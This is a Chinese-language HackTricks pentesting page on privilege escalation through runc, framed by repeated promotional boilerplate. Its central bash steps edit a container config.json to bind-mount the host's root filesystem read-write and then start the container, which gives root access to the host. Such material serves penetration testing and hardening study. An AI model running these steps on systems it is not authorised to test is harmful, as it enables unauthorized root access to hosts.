mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-25 06:00:40 +00:00
73 lines
3.5 KiB
Markdown
73 lines
3.5 KiB
Markdown
# RunC 权限提升
|
|
|
|
{% hint style="success" %}
|
|
学习与实践 AWS 黑客技术：<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
学习与实践 GCP 黑客技术：<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>支持 HackTricks</summary>
|
|
|
|
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
|
|
|
</details>
|
|
{% endhint %}
|
|
{% endhint %}
|
|
{% endhint %}
|
|
|
|
## 基本信息
|
|
|
|
如果你想了解更多关于 **runc** 的信息，请查看以下页面：
|
|
|
|
{% content-ref url="../../network-services-pentesting/2375-pentesting-docker.md" %}
|
|
[2375-pentesting-docker.md](../../network-services-pentesting/2375-pentesting-docker.md)
|
|
{% endcontent-ref %}
|
|
|
|
## PE
|
|
|
|
如果你发现 `runc` 已安装在主机上，你可能能够 **运行一个挂载主机根 / 文件夹的容器**。
|
|
```bash
|
|
runc -help #Get help and see if runc is intalled
|
|
runc spec #This will create the config.json file in your current folder
|
|
|
|
Inside the "mounts" section of the create config.json add the following lines:
|
|
{
|
|
"type": "bind",
|
|
"source": "/",
|
|
"destination": "/",
|
|
"options": [
|
|
"rbind",
|
|
"rw",
|
|
"rprivate"
|
|
]
|
|
},
|
|
|
|
#Once you have modified the config.json file, create the folder rootfs in the same directory
|
|
mkdir rootfs
|
|
|
|
# Finally, start the container
|
|
# The root folder is the one from the host
|
|
runc run demo
|
|
```
|
|
{% hint style="danger" %}
|
|
这并不总是有效，因为 runc 的默认操作是以 root 身份运行，因此以非特权用户身份运行根本无法工作（除非你有无根配置）。将无根配置设为默认通常不是一个好主意，因为在无根容器内有相当多的限制，而这些限制在无根容器外并不适用。
|
|
{% hint style="success" %}
|
|
学习与实践 AWS 黑客技术：<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
学习与实践 GCP 黑客技术：<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>支持 HackTricks</summary>
|
|
|
|
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
|
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
|
|
|
</details>
|
|
{% endhint %}
|
|
</details>
|
|
{% endhint %}
|
|
</details>
|
|
{% endhint %}
|